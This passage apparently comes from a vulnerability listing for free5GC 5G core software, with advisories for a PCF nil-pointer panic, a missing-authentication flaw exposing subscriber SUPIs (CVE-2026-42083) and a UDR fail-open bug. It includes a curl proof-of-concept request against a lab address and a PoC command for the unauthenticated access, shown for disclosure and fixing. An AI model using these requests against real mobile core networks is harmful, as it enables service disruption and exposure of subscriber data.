`v4.1.0` (originally reported on v4.1.0; same defect present in v4.2.1) - PCF endpoint: `http://10.100.200.9:8000` Vulnerable handler path (paraphrased from the captured stack trace): ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandleCreateSmPolicyRequest /go/src/free5gc/NFs/pcf/internal/sbi/processor/smpolicy.go:82 +0x562 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPCreateSMPolicy /go/src/free5gc/NFs/pcf/internal/sbi/api_smpolicy.go:86 +0x405 ``` The handler's UDR-failure branch logs the OpenAPI error but does not return; the next line dereferences the nil response struct. Code evidence (paths in `free5gc/pcf`): - Panic site: - `NFs/pcf/internal/sbi/processor/smpolicy.go:82` - Route dispatch: - `NFs/pcf/internal/sbi/api_smpolicy.go:86` ### PoC Reproduced end-to-end against the running PCF at `http://10.100.200.9:8000`. Send a single POST whose `dnn` is unknown to UDR -- this drives the downstream OpenAPI call to return `404 Not Found`, which then triggers the nil-deref panic: ``` curl -sS -X POST 'http://10.100.200.9:8000/npcf-smpolicycontrol/v1/sm-policies' \ -H 'Content-Type: application/json' \ -d '{ "supi":"imsi-208930000000003", "pduSessionId":1, "dnn":"internet-bad", "sliceInfo":{"sst":1,"sd":"010203"}, "servingNetwork":{"mcc":"208","mnc":"93"}, "accessType":"3GPP_ACCESS", "notificationUri":"http://smf.free5gc.org:8000/npcf-smpolicycontrol/v1/notify" }' ``` Observed response: `HTTP 500 Internal Server Error` with empty body. PCF container logs show: ``` [INFO][PCF][SMpolicy] Handle CreateSmPolicy [ERRO][PCF][Consumer] openapi error: 404, Not Found [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference ...HandleCreateSmPolicyRequest at smpolicy.go:82... ``` The Gin recovery middleware catches the panic (the captured stack trace runs inside `ginRecover.func2.1`), so the PCF process keeps serving other requests; the realized impact is per-request `HTTP 500` on this endpoint whenever the downstream lookup fails. ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the UDR-failure branch logs the OpenAPI error but does not return, then dereferences the nil response struct. The intended behavior is to return a controlled `4xx`/`5xx` `ProblemDetails` and stop processing. Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any unauthenticated POST that drives the downstream UDR lookup to a `404` returns `HTTP 500` (with empty body and a stack trace in PCF logs) instead of a controlled error response. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation. The endpoint remains reachable to unauthenticated attackers via the route-group auth gap separately tracked in free5gc/free5gc#844. Affected: free5gc v4.2.1 (originally reported against v4.1.0; same defect present). Upstream issue: https://github.com/free5gc/free5gc/issues/803 Upstream fix: https://github.com/free5gc/pcf/pull/62 | |
| CVE-2026-42083 | hig | 0.38 | — | — | May 7, 2026 | ### Summary PCF Npcf_SMPolicyControl missing authentication middleware allows unauthenticated access to SM policy handlers and disclosure of subscriber SUPI ### Details In `NewServer()`, the `smPolicyGroup` route group is created and routes are applied without attaching the router authorization middleware. In contrast, other PCF service groups such as `Npcf_PolicyAuthorization` do attach `RouterAuthorizationCheck` before route registration. Because the middleware is missing, requests to the following endpoints can reach business logic even when no valid OAuth token is provided: - `POST /npcf-smpolicycontrol/v1/sm-policies` - `GET /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}` - `POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/update` - `POST /npcf-smpolicycontrol/v1/sm-policies/{smPolicyId}/delete` This is visible at runtime because unauthenticated requests return business-level responses such as `400` or `404` instead of being rejected with `401` before handler execution. Under valid lab preconditions (existing UE/session context and related policy data), unauthenticated `POST /sm-policies` can succeed with `201`, and unauthenticated `GET /sm-policies/{id}` can succeed with `200` and return policy context containing subscriber identifiers including `supi`. The root cause is missing router auth enforcement for `Npcf_SMPolicyControl`. Upstream also fixed this by adding `RouterAuthorizationCheck` to `smPolicyGroup` (and `uePolicyGroup`) in free5gc/pcf PR #63. ### PoC 1. Deploy free5GC with PCF reachable on the SBI network. 2. Use the PoC against the PCF service **without** an `Authorization` header: ```bash go run /home/ubuntu/free5gc/tools/npcf-smpolicy-noauth-poc/main.go \ --pcf-root /home/ubuntu/free5gc/NFs/pcf \ --pcf-url http://10.100.200.9:8000 \ --timeout 4s Observe that unauthenticated requests to Npcf_SMPolicyControl return business responses instead of 401. ### Impact This is an authentication/authorization bypass on a network-accessible SBI service. Any unauthenticated actor able to reach the PCF SBI interface can invoke Npcf_SMPolicyControl handlers directly. | |
| CVE-2026-40343 | Med | 0.38 | 5.8 | 0.00 | Apr 22, 2026 | free5GC UDR is the user data repository (UDR) for free5GC, an an open-source project for 5th generation (5G) mobile core networks. In versions up to and including 1.4.2, a fail-open request handling flaw in the UDR service causes the `/nudr-dr/v2/policy-data/subs-to-notify` POST handler to continue processing requests even after request body retrieval or deserialization errors. This may allow unintended creation of Policy Data notification subscriptions with invalid, empty, or partially processed input, depending on downstream processor behavior. As of time of publication, a patched version is not available. |